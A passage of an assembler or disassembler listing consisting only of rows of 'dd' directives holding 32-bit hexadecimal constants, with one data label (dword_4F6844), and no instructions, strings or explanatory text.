		dd 0DCA57E28h, 0F2F8D63Eh, 0A32D2CEEh, 8B805D14h, 983DD1C3h
		dd 448A2D51h, 1C081A9Ch, 0C9D01709h, 9AA693B5h,	0C15504E8h
		dd 3E967211h, 0FDEE2224h, 7271275Ah, 452025AFh,	0B024C55h
		dd 44396EC1h, 0E90A46AFh, 30892808h, 0DA33E4D1h, 4916D44Ch
		dd 7713C701h, 0EE80FBF0h, 80989B95h, 0EF30BBB5h, 7E5E51E9h
		dd 499F1375h, 9E1BE90Dh, 5404272h, 97E07855h, 0E91734F2h
		dd 98BF616Ch, 0D4910178h, 4DF7E601h, 74821A25h,	193F094Eh
		dd 0EB2987DDh, 0D8280058h, 8368FE04h, 7D9D4970h, 0B4028B1Eh
		dd 30B6B75Ah, 566B62E7h, 0CE562DABh, 9AF2E978h,	0B70F1E46h
		dd 58470BC0h, 4668FC29h, 5F80B81Bh, 4658BF5Dh, 2B9A257Eh
		dd 0E809EF98h, 5749B129h, 32FDCA68h, 8B80B262h,	0E408049Bh
		dd 444038DBh, 348D0BB8h, 0ADF7DEDh, 0EA1707BEh,	9766BFA0h
		dd 8D4DA004h, 4D007AD0h, 0BA64D007h, 5E64B81Bh,	0C12C817Ch
		dd 0B7760E2h, 0D5A662B5h, 43CBD433h, 89EEC171h,	0BF0279B4h
		dd 0E0E57301h, 4D8EFF8h, 0E93BB536h, 3481F554h,	425B70D7h
		dd 75EE6092h, 505E5950h, 41436DEEh, 6BADC7F1h, 0A51538ADh
		dd 0B731B922h, 20DE8991h, 693168B0h, 6E6D1D1Bh,	0ADD3AB68h
		dd 0EA942426h, 2F0BC4A8h, 7D4A7D60h, 0F2A3006h,	0BD66D09Fh
		dd 7595219Ch, 3E053E99h, 0B24002A8h, 274C9B52h,	59B8AC68h
		dd 2110562Eh, 9D72F827h, 4A0553Ch, 190E72EDh, 40202510h
		dd 0D8F730B9h, 0F9DDA040h, 6D6E2503h, 32052680h, 2E5C3B54h
		dd 0C6942FCCh, 0EC254D4Eh, 5EAAA140h, 0C925B33Fh, 160507Ch
		dd 20FA6851h, 0F1591F39h, 40B7AF1h, 9FEBF591h, 7BF3C2B7h
		dd 0DE255771h, 55581657h, 0AB921881h, 0E9099DE2h, 71776978h
		dd 19C56AA4h, 2B8D8D62h, 2F7BABCAh, 26CA2F24h, 1C311360h
		dd 170C2158h, 71D82A68h, 8F30019Ah, 2E3C177h, 0D1C0704Bh
		dd 0B5476CB7h, 2BD00FE3h, 12C6BF2h, 0DE045AEBh,	5D814B20h
		dd 0B26E8B21h, 6A13D2B5h, 0D12DBDF9h, 844F8974h, 23EA3583h
		dd 2F2D87EAh, 0DF576ACCh, 134B2702h, 0E97957ECh, 0DF18BB5Ch
		dd 0F914DD2Dh, 5968570Bh, 0E4F35929h, 0C2DBB25Fh, 0C0C126B4h
		dd 80452AC1h, 5A1DF488h, 4467CCFEh, 9DF37398h, 0E213A4F8h
		dd 0E728C828h, 2AC39FF4h, 1EE953C8h, 0DD9D4770h, 4E31C718h
		dd 0F2EEED86h, 0C7A3A1F7h, 5E37923Ah, 5A18317Dh, 7032FA2Eh
		dd 251A7E56h, 0FC40ABFCh, 9F3CA211h, 0D0856189h, 3A9CAA2Eh
		dd 0FD5E27E9h, 282D0D48h, 0C375D375h, 19697DFAh, 0DDDE80AFh
		dd 76245C8Ah, 86C6F02h,	0E827598Bh, 5BFAA3EFh, 0F1A8265Fh
		dd 0EBD5F616h, 2C050556h, 0F3BED9F1h, 0FE297A75h, 71A5DF94h
		dd 0A3923EBAh, 0AFF65657h, 65F2DA71h, 56D8737Fh, 6C53BDE1h
		dd 0DFBF97A8h, 7C581A3Ch, 0C22E5519h, 0E568DAA9h, 2C2D1BE6h
		dd 1F97893h, 341CB4DCh,	7575E7E9h, 6E3F4149h, 0C306075Eh
		dd 15D69573h, 697EC454h, 2795E3CBh, 0FD5C7070h,	1A128A67h
		dd 869B9167h, 5C96294Eh, 78960778h, 0FBE277FCh,	1D6802D4h
		dd 60ED765Fh, 0F2B83599h, 8BD829BDh, 3CB4FD8Dh,	746E74BFh
		dd 6ADD20E7h, 457A6F64h, 0DE418382h, 2368E1C5h,	0A4CFB866h
		dd 0F28E35B0h, 4AF07695h, 37D35A0Dh, 0EED92501h, 2DB9FD31h
		dd 9D69068h, 534043ADh,	0FA78895Fh, 0F7C49175h,	4BB5AD7h
		dd 0F49A786Fh, 12093155h, 0D2532E03h, 17E10B2Fh, 1C5C2C8Fh
		dd 2BE65525h, 2A99544Bh, 254FB600h, 0C1D6FA2h, 387124A2h
		dd 191E72C0h, 0F3D1A2Fh, 6808D4BFh, 602D141Ch, 5215495h
		dd 67E95703h, 0E831AB3Ch, 0B00060F6h, 0C54C30D9h, 0EDC00B2Eh
		dd 2B2F0B06h, 1EA1F9E9h, 0F297B08Eh, 0CC1B54B9h, 0C8F821C4h
		dd 1D70F9CFh, 9E876780h, 574193E9h, 17CCBA0Ah, 80E10581h
		dd 168D353h, 320167F1h,	38BED5F9h, 50582731h, 0FA3B6EBh
		dd 45CB5B66h, 9A85C12Fh, 8FA6FE3Fh, 4DAA0D00h, 4C2D6D18h
		dd 41D82312h, 0D158E002h, 0D55C5DE5h, 8D1358B5h, 0BE4E58A2h
		dd 0BC5BD4DEh, 7768E1FCh, 5A71E22Fh, 0DF586572h, 0DCE2D759h
		dd 990886h, 4059B9C6h, 7E256835h, 41ED7275h, 782A685Ch
		dd 500A9F20h, 0BCBE64Eh, 9196533h, 8106C5FBh, 125AFBF6h
		dd 25BA68FDh, 0BFB117C5h, 5741D06Dh, 60079F3Ch,	32506856h
		dd 14011727h, 0F2892D22h, 747A7B5Ch, 0BEFDF3B5h, 87037DCEh
		dd 31DDF7EAh, 8D526A7h,	7210E90Eh, 0CBBA32FFh, 0C5305926h
		dd 9BFEB9DBh, 0DA2F2DBBh, 99C1025Bh, 905E2A1h, 4BE72157h
		dd 0E0CEB210h, 9511A036h, 0C2098246h, 6762F60h,	5D30E84h
		dd 501844C3h, 2B0A835h,	29013197h, 1982DDF7h, 68016292h
		dd 86337DD1h, 91097F58h, 0E3003F32h, 454D54CDh,	23C5840h
		dd 0E90ACB70h, 47D448EFh, 7D01C262h, 2F667E42h,	576F682Fh
		dd 0E858DB19h, 0F1CD4686h, 0EA2B78FCh, 0EA2F4429h, 0C4B05C31h
		dd 421C9832h, 22695635h, 7154F209h, 7549632Bh, 0D425F65Ah
		dd 6911FC3Dh, 5CCF29DFh, 0B620B4Ah, 740B1976h, 92095687h
		dd 5C7C29Dh, 0F5164ADFh, 96DE2F02h, 442D61FAh, 7700929Ah
		dd 9726954h, 246CFF81h,	7FB3D16Bh, 9E225A4Ch, 94F205A8h
		dd 0B88068C8h, 0C283260Ah, 0E1B3E90Bh, 0F121FE62h, 40C34820h
		dd 6819AD41h, 604B1AE6h, 4048CE28h, 0A08EBD4Bh,	985BD831h
		dd 0A23D4E14h, 0A7148BE0h, 5D5B5D43h, 9EAB81B0h, 76C6A9D0h
		dd 5AFB7A14h, 7F228A8h,	3E505B31h, 0F9074AF5h, 0EA73E02h
		dd 24B4A5Ah, 3FAE39BBh,	17BA7221h, 53171016h, 644390E9h
		dd 0F9501625h, 0D3D8486Ah, 20CC2752h, 5013DDCh,	417E7788h
		dd 9931E861h, 0EA078A62h, 8C1A25B8h, 1804370Ch,	0FA014AB0h
		dd 8133EC4h, 5F7A8900h,	1305130Eh, 40BC63Eh, 9236ED42h
		dd 7462F754h, 0B566107Dh, 0DFCB95FAh, 30647E88h, 18BA5205h
		dd 4FC2BC54h, 0B155E881h, 1807856h, 59CA2847h, 230C8E68h
		dd 7BB70387h, 9804E7C0h, 65FE06EFh, 50287CCFh, 171882BAh
		dd 0C8C7D11Bh, 0BD036B13h, 3A1BF1ABh, 16D3A4F2h, 0BA0E8454h
		dd 5081B265h, 0CA7B5EB3h, 0C7F6035Fh, 252B96Dh,	8E13BDE8h
		dd 0E86A316Ah, 456AFDF1h, 0EC5B9C10h, 0F40137CFh, 88C0825Bh
		dd 9E227570h, 680775CAh, 0B7E80294h, 33222CC2h,	7FDA1340h
		dd 8447C181h, 5F07184h,	2FE2BDh, 0F5813B59h, 1E9814D4h
		dd 3390759Dh, 34B0E5C1h, 4713CD7Ch, 5F0F521Ch, 30937D6Dh
		dd 625AA700h, 0EC013656h, 0D6BF0B57h, 0E05D5310h, 13D0EFD7h
		dd 0BBC5568Ch, 78645E49h, 6FBF997Dh, 8807CFC5h,	4C5B5650h
		dd 93F779ABh, 0D28B6D26h, 8724E048h, 16E442E4h,	85A9B22h
		dd 25E80EB5h, 5D002DC9h, 27E1B508h, 0D82B0CB5h,	0F7023B15h
		dd 0E196BA4Eh, 5E65B510h
		dd 201172A5h, 8380F406h, 87015849h, 0A7B9BA31h,	8A21CE78h
		dd 70C48007h, 0D6F6011Dh, 7ED5E680h, 943DA6F6h,	697399CDh
		dd 148206A4h, 84098173h, 2FE34FD7h, 40E09740h, 0D377F66Bh
		dd 58F1DD64h, 30D8BCEFh, 52500D56h, 88D013B2h, 85C3B9D4h
		dd 0C1E27195h, 18F7E507h, 24AB3F89h, 3CC355DAh,	0B4D0280Eh
		dd 0EE48C281h, 0BC35124h, 5E3C158h, 5B1E755Ah, 0D7EC937Bh
		dd 0D1BF282Ah, 86DC5A1Ah, 9A22D76Bh, 22753B04h,	0B3C56CDh
		dd 592F9EE6h, 0EFB0DA47h, 0EC228ACDh, 0BDD5C07Eh, 6F0D5D08h
		dd 0E10B5F90h, 0F44F105Bh, 5172801Bh, 0C6E93736h, 68014091h
		dd 7841206Ch, 0E0CE88Bh, 0B510FDEh, 0CE0BC955h,	0AC84F77Ch
		dd 5B6FF0D0h, 8CA88B5Fh, 5E954E0h, 0CD2084B4h, 49687609h
		dd 8867793Eh, 8AA00EC4h, 50D2B204h, 88317B0h, 413A25F1h
		dd 0C8B508F0h, 178EAD70h, 0AD29DC01h, 5DD80737h, 0FAE303CCh
		dd 0C7BF2773h, 77FD5852h, 715F7A99h, 880D65EFh,	975A251Bh
		dd 3AB34C44h, 96725EEh,	94FDA64Bh, 58C625F6h, 0FFA544F9h
		dd 0C1B5094Eh, 59086830h, 0D596DF9Dh, 82521096h, 0D79A6E09h
		dd 72A05330h, 5492B9B1h, 264BB3AFh, 833CBB56h, 0BE45A776h
		dd 760B5038h, 0EB7E0922h, 887F292Bh, 3E280816h,	7207BF07h
		dd 0E7D33860h, 606CB2D3h, 14EBEF96h, 0BECF18F8h, 8428FC4Ah
		dd 70FA5146h, 56DB689Ch, 2EAA3BE1h, 77404BFDh, 0DEB78EB1h
		dd 0E7680266h, 390DE965h, 1788ABFCh, 19B90188h,	2F62CC18h
		dd 50E201C1h, 512E8204h, 9882FE57h, 84C2A0E1h, 470FD7A4h
		dd 6530F743h, 88ED4FFDh, 0BF7046D0h, 41E8B092h,	5CB753E1h
		dd 0A5FFC97Fh, 4FC9C616h, 14F05E61h, 763C7E90h,	0CE14950Eh
		dd 3670E6F8h, 0FA947CB5h, 68571EA0h, 71364BDh, 0B6AB5F02h
		dd 795F7E07h, 27785BA3h, 0DF7C295Ch, 5FBDE958h,	2576BBFCh
		dd 0DB574873h, 1FBD55B0h, 4FE14B1Eh, 3A0C2D66h,	5B2C42C6h
		dd 0DEA5A08Eh, 0D32D8C94h, 0E96841F6h, 0C0CC3B26h, 516F5588h
		dd 0BBB3652Bh, 0CBC13721h, 0FA64BB05h, 27F5F4C8h, 0ADF07274h
		dd 6D420143h, 0BE80F15Ah, 97F30007h, 890148C0h,	23E916DAh
		dd 2F0EA265h, 7D9812BEh, 2CE91DE8h, 0B82600B5h,	0F411DACh
		dd 0C0834810h, 74642541h, 3805E8E9h, 6A32E1EDh,	494DE7F4h
		dd 0AB926E59h, 0B01199E2h, 22257637h, 0E5987E6Fh, 0EC4412BDh
		dd 7CAC4A92h, 567FE9F1h, 0F72F72F4h, 2B491494h,	890B60A9h
		dd 0B6DC7AD9h, 69E15664h, 10A2DA7Fh, 5C1D4B25h,	386CC956h
		dd 0AA9E9B5Ch, 0FE7224BCh, 5E0D1902h, 3B38E106h, 220BD72h
		dd 0E5111863h, 0AE445E05h, 0FB29BE00h, 2E67BA52h, 0CDB4014h
		dd 0BB1AAC43h, 0F2A8FD0Fh, 9B1645AFh, 0BAFC65BBh, 975CE58Ch
		dd 2152C716h, 36F716B9h, 35A1E3BCh, 0A98C7A7Bh,	527549EEh
		dd 28F1E18Bh, 30CAE985h, 8BEF3024h, 0C2680AC7h,	0E9842311h
		dd 65BA6CEDh, 0A45C8122h, 540C063Fh, 14B8E325h,	0A0891D45h
		dd 0BEFBCF17h, 0A9F1C122h, 0AF7D5BA7h, 57152957h, 2C8147E8h
		dd 4282749Fh, 6CD44E6Fh, 0E61B3D60h, 0E7C1FB4Bh, 981AA4h
		dd 49F18077h, 34B0C888h, 59AD8640h, 3090753h, 6C400174h
		dd 6C4FC97Fh, 0CD1326E8h, 485FDAA6h, 0F2D916D9h, 5EC5FA47h
		dd 2889ED30h, 6010DDFDh, 88165BF6h, 0C3FF59EBh,	6043F08h
		dd 3C4BE9C9h, 49A5B2ECh, 0BBF0CC4Ah, 0E014FF97h, 0F735FE32h
		dd 0D3B341D5h, 71F54781h, 7F0D821Dh, 0BA89F0E8h, 759D6DF0h
		dd 83614E3Eh, 47FA680Ch, 7CDE5DC2h, 7D9EDF5Ah, 7E93FB81h
		dd 18CB93EDh, 0F42F457Eh, 477CF2A1h, 9152128Bh,	6973DA2h
		dd 30C1BAD9h, 0E16C4A5Fh, 0FD8ACDD6h, 0BC128B8h, 0DF5B0B8Bh
		dd 0EFD7B892h, 580A2659h, 411F3CB9h, 0E18118D4h, 434C7D61h
		dd 33132Ah, 8464EEB1h, 0EA3A2D40h, 7E3C2F52h, 787489A9h
		dd 7200A6A9h, 0D480143h, 0A77F3C00h, 781A3573h,	94117A6h
		dd 486FB6C7h, 18E32621h, 7D2802A5h, 0A9D8090Ah,	79C7225Bh
		dd 474FC360h, 0F82AE7CCh, 7C0841AAh, 0E0A07A7h,	0CBD05F7Ah
		dd 98301A10h, 97012747h, 0BA21DAA2h, 5E8450Fh, 0C05AD3BDh
		dd 10526BA9h, 82BC2D3Fh, 0F0296766h, 0E9078105h, 59647E95h
		dd 0D0F9E4CFh, 5939EA08h, 29096C5Ch, 0A7E55FF8h, 339E0501h
		dd 98D44D23h, 28E41621h, 0C2F811E9h, 51DBF702h,	38C143B8h
		dd 0CF917A72h, 7155FDEh, 0B3A8B74h, 0BD88B4D7h,	47977F16h
		dd 0E877A5F3h, 85234A87h, 0D3344E09h, 0E139166Fh, 2294D6Eh
		dd 455A14ACh, 2625990Fh, 0EE7C4518h, 58C2B046h,	9D94B006h
		dd 0DD309C01h, 1C0E305Bh, 5734507Ch, 958257C9h,	2889DFF6h
		dd 648DD357h, 5A23BDF8h, 2FFEA5C4h, 0F14A649Bh,	97965AC6h
		dd 0DCD0C841h, 0CEB73287h, 9B39290h, 69397BACh,	0A9CDC17Fh
		dd 0B0AD5805h, 7697BBAEh, 0B80745CBh, 0CB8A4BE8h, 582CD14Bh
		dd 5010A50Fh, 1E5E5FF5h, 0A4D9E7B7h, 44923F0Ch,	49511CBFh
		dd 94163D6Dh, 3510212Ch, 0F72EE060h, 9F68D60Bh,	0BF4666Bh
		dd 321D5846h, 873229FFh, 8E5260BDh, 9AE284E6h, 0BB4187B7h
		dd 39FF44A5h, 57057FAh,	9E992D6h, 682E206Bh, 1D98DBE4h
		dd 3D2C7B0Bh, 73170D41h, 0A3EDB6EFh, 5AEC242Dh,	66415A4Ch
		dd 8CC3A64h, 94AC7368h,	5B766273h, 8611E901h, 7D5B36Ah
		dd 75E5DC9h, 553752D2h,	575AE754h, 0F789A856h, 0F57504D2h
		dd 721745AFh, 3739FBA7h, 9C5693F8h, 6234A2E2h, 0CE30ADBFh
		dd 30B73BD8h, 0FCF6805Dh, 2DAA9088h, 82F3511Ah,	0CE8A11ADh
		dd 0DDF74D8Bh, 0D8495800h, 0FD98963Ch, 4E42AB41h, 0EB13642Dh
		dd 0C8411D32h, 0C10197D9h, 0D72470E6h, 5D620995h, 0F693ADBh
		dd 495A7124h, 8478E3D7h, 3FB1BD00h, 53B85616h, 98A9FAC0h
		dd 53F5E88Dh, 0E87EC823h, 78799FC3h, 0A088B962h, 7978F7A7h
		dd 496398CAh, 2D077532h, 0AAD53DD1h, 51BEE01Eh,	114F050Ah
		dd 0B07B5DE1h, 73545CD3h, 8AC95512h, 24585148h,	0F4CA081Ch
		dd 0AD2C4D2Fh, 8D554119h, 48207836h, 9453AA3Ah,	0B28B03B7h
		dd 0B62843D8h, 0ED67F178h, 0E6626D06h, 0E5DC779Bh, 5D7DB881h
		dd 0EC7A7B24h, 0BBD918E5h, 3ACF86A1h, 0CD5FD1F6h, 17423953h
		dd 4D3C40F2h, 0F0809BFh, 0E200091Ah, 425A3DEBh,	37010198h
		dd 0E914CD6Fh, 0DF785989h, 618EE2E7h, 2055784Ah, 2F200CEEh
		dd 8044F079h, 8F124A57h, 64BF295Dh, 280C1AFEh, 4F401C12h
		dd 0B4833142h, 0E54FF8AEh, 68EAED0Bh, 0B66CE151h, 6E4E60DEh
		dd 0B490368Dh, 5263E6Bh, 1BA8996Ch, 436509D6h, 726BD010h
		dd 330412Eh, 0EB370A02h, 379E4345h, 3116D506h, 3FA83F27h
		dd 25CC69B5h, 57B52567h, 31BCA377h, 76A13DDh, 10EDF479h
		dd 2FAF0604h, 9281EDC1h, 7780FBC7h, 7C012DEBh, 59BD5F62h
		dd 3BE9851Fh, 0E4DAA439h, 0E654405Eh, 464F7036h, 6465D0BAh
		dd 0BC2649E1h, 91080A29h, 8A422DE8h, 0CBB61E60h, 7B547582h
		dd 4D416806h, 0B34E2567h, 544F8B1Ch, 0AEB4D2F8h, 4A5F25A4h
		dd 6A7D8959h, 549CB0C4h, 0EBCCF7C3h, 0C1DAE1C8h, 644B0F8h
		dd 4F883BF4h, 0F748F829h, 0A928265Ah, 5A794A20h, 3E2BEF57h
		dd 3C3BEF55h, 7EB26201h, 5D8F701h, 20FA1DCDh, 0C08FB26Eh
		dd 9A0DB0C4h, 40DA9F05h, 0B435E69Ah, 0E2F043A5h, 0FE2F2CA8h
		dd 854C1357h, 16CCAF12h, 0E9824F29h, 4BA381CAh,	81F82E0Dh
		dd 0CD3A979Dh, 10846CDDh, 512BEFE9h, 0F1D14180h, 0FA1B7B39h
		dd 1D81852Ah, 2481699Ah
		dd 363BED25h, 0DFF9E86Dh, 2BE5CCFh, 764D545Ch, 0D3890936h
		dd 0DE7A1F82h, 0D7FF2D05h, 0F455090h, 7AB03A03h, 0CE5C7B40h
		dd 432465E2h, 0AD3A8444h, 0D1150C1h, 75DF2613h,	9D94EAh
		dd 4D6A71C8h, 0A227E97Ah, 132AF9FFh, 2621D850h,	6894745Eh
		dd 424B9CC1h, 5DA485C6h, 2B1336E9h, 0D4E7FCCFh,	600810B8h
		dd 48848448h, 0E9D8EE37h, 113B440Fh, 97056640h,	21BDAFF2h
		dd 0FFCAE29Bh, 0C674BB3Ah, 0CA6112ADh, 407078D0h, 3329C2B7h
		dd 8F0AEF26h, 216C2200h, 0C2DEF71Dh, 3DC2E904h,	0DF8226DFh
		dd 0DC3AFDFAh, 0B72E5375h, 2FA623FBh, 0D008422h, 29DF0537h
		dd 3D218625h, 0C4014730h, 2D61E340h, 67F3CCC2h,	0FD2F0DBCh
		dd 0D39F5896h, 4E7192F6h, 87C558EEh, 38CCADE8h,	9FFBBA3Ah
		dd 549D131h, 48C557C4h,	0DC25FE2Bh, 57312738h, 40247056h
		dd 4CE88880h, 0E4163659h, 0A236AC75h, 68C5555Dh, 2C18380h
		dd 0C19BD4E9h, 0BC6E0E35h, 53E74241h, 40BD6BF2h, 121AE678h
		dd 0CF5E25A5h, 0C7B65B34h, 0FB366812h, 89D7FDE2h, 0BACC30DAh
		dd 7A3CB605h, 0C1FF5018h, 0A74D05E8h, 0AFC55790h, 0C59BE963h
		dd 0D5F8934Bh, 9926CEC7h, 0DBE872E5h, 8C30AF4Ah, 902F60B2h
		dd 11DABD04h, 8153C4BFh, 28F71AAEh, 72AA5A2Ah, 77250A81h
		dd 3D6638Bh, 7CF826A6h,	3C78D205h, 27EBD436h, 51FA005Ch
		dd 805C5CB1h, 0EA3A7399h, 2E7D99CDh, 72382955h,	38651105h
		dd 1625BF06h, 47E8BABh,	76E9DD87h, 2754B8EEh, 583BDC53h
		dd 0C45E67E9h, 0E0438D22h, 5B5E3CEh, 0E90AA245h, 35BFDC8h
		dd 22696FCEh, 0C24C0E1Ah, 5316AB71h, 884BFA73h,	0ED0FE8D8h
		dd 6A291E32h, 3979C89Ah, 0A0084F26h, 0FE5E1260h, 0A64133F6h
		dd 58B8006Fh, 33E7B951h, 5F6C9427h, 4B4A09E8h, 56735427h
		dd 0FEBF08D6h, 4276126h, 0F8A9798Fh, 0E9578F84h, 0DB0893D3h
		dd 2868000Bh, 5845BD22h, 3FF2D30h, 0B7A633E9h, 0EB035A92h
		dd 0D50212DFh, 0B2B0E1C3h, 5C8C840Fh, 4158ADAAh, 0BB44F4EAh
		dd 71A0115Eh, 204678E2h, 67076A74h, 4A308E65h, 0B1E20719h
		dd 7F02913h, 0A841EA28h, 0CBCAC009h, 6660DB7Fh,	4803924h
		dd 5015991h, 12B3B410h,	0CAE3EF88h, 61D8523Ch, 0DB785719h
		dd 0B6362A9Dh, 265027C4h, 17801B20h, 789D2BE8h,	692CB15Eh
		dd 8A58FF38h, 30C3D682h, 0A24C41CCh, 0C30C3267h, 0C43A8672h
		dd 85974E57h, 0BCA4BB0Bh, 8B841FF0h, 0C03F966Ch, 0EC88504Fh
		dd 5875E2E4h, 0DFF9D34Ah, 360EB97h, 9AE5A1E9h, 3B40B3Eh
		dd 43002C80h, 74E312B8h, 5D000CDFh, 0EB214EB7h,	16374FE9h
		dd 663CEF4Eh, 5F442FE9h, 48552192h, 82B165F9h, 0D175576Ah
		dd 80F2922Ch, 80C3FE07h, 6C2E333h, 0DFCBC2F1h, 0F3D8B163h
		dd 0D9092885h, 70D1F65Bh, 0FE0AC669h, 40F008C9h, 0DC7809B7h
		dd 46FC2DFBh, 94FCBA50h, 74DC8222h, 0F84027D2h,	410B3FC3h
		dd 0F1DE0910h, 24EA48Fh, 61FD4FA8h, 22D78562h, 0CAB5E93Eh
		dd 134ED7C7h, 20C2E4B7h, 81034839h, 27BD1CBh, 0AA0C0972h
		dd 0B00E66Ah, 8E0B8CC3h, 78293E2Dh, 9D1420D9h, 0ADEE897Eh
		dd 0ABCF4A6Fh, 9F607895h, 0A168ACD1h, 0B092A997h, 8004F7F7h
		dd 3601121Ah, 0EC812F1h, 14AB432Eh, 82DC413Ah, 83015AF1h
		dd 0E48201C6h, 0BB0BCE4h, 0EE95D443h, 68DD5830h, 317B4B2Eh
		dd 148D171Eh, 96B6A6AFh, 9470CC0Bh, 0BC549703h,	0C830E784h
		dd 0E90922E7h, 40A06C96h, 0E38620F3h, 16E9F64Ch, 31EE6741h
		dd 44D0B7BBh, 64A7C155h, 0F17FC26Bh, 1672ADD4h,	20A4E12Fh
		dd 0B3E92874h, 0BBA0B485h, 9D379D96h, 8EF330F4h, 0CF31704Eh
		dd 1B309368h, 4718913Ah, 22D41038h, 3902C72Dh, 45E95DA7h
		dd 0ED93A064h, 7BEB0A34h, 54B02C22h, 5077807Bh,	0D8016B06h
		dd 57070550h, 8EA6802h,	0D85F592Fh, 67C0BF76h, 474FA73Fh
		dd 7668BBF0h, 0BD4EA8D6h, 4FE47412h, 0FD012C60h, 308A1109h
		dd 0D741FD2Dh, 0E1A83F05h, 0E90B9748h, 0A0C94A13h, 0CD673052h
		dd 83F75B28h, 0F3B7F227h, 2118929Fh, 62786E79h,	60FDC9F4h
		dd 29EB76Fh, 5B66F808h,	60DDD22Ch, 4E301601h, 0ECF6F0h
		dd 0C049B050h, 93406E0h, 30C6E99Bh, 42C824C8h, 4C119526h
		dd 19392E02h, 81897710h, 61B633D0h, 0F7186504h,	0B70149ECh
		dd 21D1C0CDh, 0BBB72EEAh, 35E2D230h, 185BA23Fh,	20230B0h
		dd 0F221DBB2h, 84E831E9h, 0DAF294BDh, 0EE890D13h, 285FDA08h
		dd 0D37F4AB5h, 0FEFBDF7Ch, 19C41E5Ah, 0C1B4EAFCh, 6B65CD16h
		dd 33D9A531h, 6D03A322h, 578544D5h, 4725D3E3h, 8A0565Ah
		dd 0BF02C093h, 41452155h, 6F75F6E1h, 0BE2DAA2Ah, 921D617Fh
		dd 68A4508Fh, 989F52C8h, 4C4010F7h, 4E2F6EE0h, 72B4B560h
		dd 6C4B27B8h, 1B282CD9h, 4F9BBA7Bh, 7F4B2D5Dh, 5D962F5Ah
		dd 1680AA84h, 0CE1504Ch, 2DF401B9h, 0B1BA3BAEh,	313AE074h
		dd 57AADAB5h, 0DC482C5Ah, 0F9468F04h, 41E3015Bh, 0FD315CE5h
		dd 0BFA5852Ah, 95173DCBh, 0C28AABD8h, 66A56830h, 3C5C22BEh
		dd 2FEE0C0Ah, 7DC60A03h, 65F9F56h, 3F154653h, 31A40245h
		dd 0C1970895h, 69C48001h, 0AF3EE688h, 7352CB44h, 0D6B9B3EFh
		dd 0D818DCADh, 5FFD9162h, 8AAF894Eh, 0FB291F7Ch, 0D9CC5796h
		dd 7AAA800Ch, 594F10EAh, 0C02F8EFDh, 0EA5A2484h, 0CA978FE8h
		dd 51D651A1h, 7EBE2C5Ah, 35B2EFB8h, 0E92218D7h,	0BAA14ED7h
		dd 7D7EB171h, 0A3F48251h, 9946C960h, 64688438h,	0B031EA7Fh
		dd 0D707DEFCh, 871E99Eh, 0BEA1C193h, 0DA03B26Fh, 3AD25F07h
		dd 81475800h, 217480E7h, 5FB7B00Eh, 4885E384h, 0DF5D1757h
		dd 0EC6DD9EFh, 5F95422Ah, 2FD1392h, 56431059h, 0D54D6287h
		dd 0BB74C009h, 0CF689D1Bh, 0C10055F8h, 14EA8179h, 0D32C7011h
		dd 7946FB6Eh, 0C28FE01h, 4CF46BE6h, 98BD65DAh, 806F7879h
		dd 7A07B8BFh, 4F474C59h, 1120A61Fh, 5704A2E1h, 0E9C290FBh
		dd 0FE597D5Eh, 40BD96BCh, 830727FFh, 975F3C73h,	4910F41Ch
		dd 0FBB95101h, 0ED0D4104h, 0F7D8744Fh, 0DF68E10Ah, 9EC2FD4Ch
		dd 0A1F0092Bh, 6586F2B7h, 0F8D83855h, 0B2AE6EFh, 0C90AFC67h
		dd 0ED329784h, 8453CFF0h, 6A9772Bh, 0CEC800D2h,	816AF33Ah
		dd 507AE607h, 68302592h, 0E8994DBAh, 0E8C11C58h, 727D4005h
		dd 0D0F733D4h, 0FC212D4Eh, 642427E6h, 59545DBDh, 0A3365D86h
		dd 790BE704h, 0FF3742h,	0D3D8DCD7h, 0FA0C09A2h,	0B4AAACE9h
		dd 0B623EC40h, 36752F64h, 2D44908Bh, 2AE4AC32h,	7CC89280h
		dd 0B7443180h, 42EAF49Bh, 0BB2CFB78h, 72051909h, 0A63CDD31h
		dd 0F00113D8h, 977B8B8h, 791DD368h, 996283AFh, 5F07799Bh
		dd 0A3E9515Ah, 778860ACh, 147259E5h, 63176809h,	0AA89D579h
		dd 0DD7E3233h, 5C9BE950h, 0DBF5781h, 7A605B7Ch,	0B7494A31h
		dd 6168168Ch, 9BA2A64h,	8C2BC874h, 692C4B5Ch, 528C4017h
		dd 0F3290952h, 7092E978h, 44467D60h, 8E854ABCh,	18C08068h
		dd 783C32BAh, 9E2F862h,	33519C8h, 44139C64h, 1FBB602h
		dd 0B6F514Bh, 3AE56E0Dh, 0D9AF0805h, 1FA42EA8h,	0C1211405h
		dd 781BD94Eh, 12F87DF9h, 0A84B23FDh, 3D4DC1BAh,	67C82FB0h
		dd 4DACC95Ch, 0B8052920h, 385CCA5Bh, 1D83FD7h, 4D26852h
		dd 13E2A40h, 56449D66h,	0E971643Fh, 5BE1B649h, 0F84E518Ah
		dd 253F852Fh, 5EBC32FBh, 0D7DAD956h, 0B42AAA30h, 2646FF82h
		dd 0C2C6E226h, 0C23BCB88h, 0B4E48519h, 4777FA02h, 41EF2957h
		dd 0FC2EC2FDh, 240C61B5h
dword_4F6844	dd 0FDDE687Dh, 2F089B28h, 2F4902D5h, 0C981006Bh, 43D4E15h
		dd 0ED60984Bh, 2FD03016h, 0B3F4885Ah, 48DB5842h, 0A1206F9Ch
		dd 45353655h, 2B90F701h, 0CA055F9h, 67542EA9h, 0FECD3489h
		dd 0C8907E0Bh, 720EFC2h, 12F4249h, 8548EC7h, 0AAF50C69h
		dd 6362C64Fh, 0CABE00E5h, 2300BA13h, 8536F681h,	4801567Fh
		dd 60777BF1h, 2CF76124h, 8B5BB7BCh, 34874CE0h, 10649CAh
		dd 0F0A6C88Fh, 0CBAD2FF4h, 94E7D10h, 0A5101368h, 0CAF0ED52h
		dd 4E45FC0h, 0F2620953h, 1257328Dh, 1000B83h, 0E7EBBBBFh
		dd 5BD9E09Fh, 6592E11h,	0A37C3C10h, 0EA6E2508h,	0F0800761h
		dd 0CB61FE88h, 0DD28E50Ah, 333859FDh, 53E1BA0Fh, 525D6B29h
		dd 0F6AF80D1h, 32390479h, 3BCADE9h, 0C7F3285Ah,	0A1B4D1B5h
		dd 166D18EDh, 7BE29823h, 0F235902Dh, 0DCCA0659h, 5A54210Eh
		dd 2583C8C6h, 0A4F65B92h, 234FD453h, 946272AAh,	2C1D9490h
		dd 0B1F8479Dh, 3535E907h, 97414019h, 0FA4B2205h, 0C5AC00FFh
		dd 4D53A3Fh, 82C4FAB7h,	17C97308h, 22F115E9h, 903AC737h
